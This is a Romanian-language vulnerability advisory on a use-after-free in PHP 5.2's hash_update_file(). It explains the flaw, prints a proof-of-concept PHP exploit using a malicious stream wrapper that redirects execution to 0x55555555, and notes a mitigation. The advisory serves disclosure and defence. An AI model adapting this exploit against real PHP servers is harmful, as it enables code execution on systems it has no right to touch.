Versiuni afectate: PHP 5.2 <=5.2.13
Consecinţe: Acces nesancţionat la resurse, executarea codului maliţios.
Instrucţiuni oficiale de utilizare a funcţiei: http://php.net/manual/en/function.hash-update-file.php
Descriere:
La chemarea funcţiei hash_update_file (), în primul rând se încearcă accesarea resurselor de date pentru o prelucrare ulterioară. Apoi se citesc datele din fluxul de date(stream) în scopul de hashing. O modificare maliţioasă a handler-ului către stream, poate distruge resursa hash din handler-ul citit la moment şi poate condiţiona înlocuirea handler-ului cu un altul, care conţine o modificare a tabelului de pointeri cu hash-uri. La continuarea procesului de hashing de către funcţia internă se va apela pointer-ul rescris şi se va încerca executarea unui cod maliţios.
Exploatarea vulnerabilităţii
Următorul script va încerca să exploateze această vulnerabilitate şi să cauzeze o execuţie în adresa 0×55555555, care în mod normal ar trebui să eşueze.
<?php /* PHP hash_update_file() exploit * Exploit-ul e luat de pe milworm.com */ define("OFFSET", pack("L",0x55555555)); class AttackStream { function stream_open($path, $mode, $options, &$opened_path) { return true; } function stream_read($count) { hash_final($GLOBALS['hid'], true); $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3); return "A"; } function stream_eof() { return true; } function stream_seek($offset, $whence) { return false; } } stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol"); $hid = hash_init('md5'); hash_update_file($hid, "attack://nothing"); ?>
Măsuri de control
Pentru a elimina posibilitatea de exploatare a acestei vulnerabilităţi este implementarea unui contor în funcţiile interne. Biblioteca CURL din PHP are deja implementat acest mecanism, şi nu e vulnerabilă.
Inspirat din Month of PHP Security.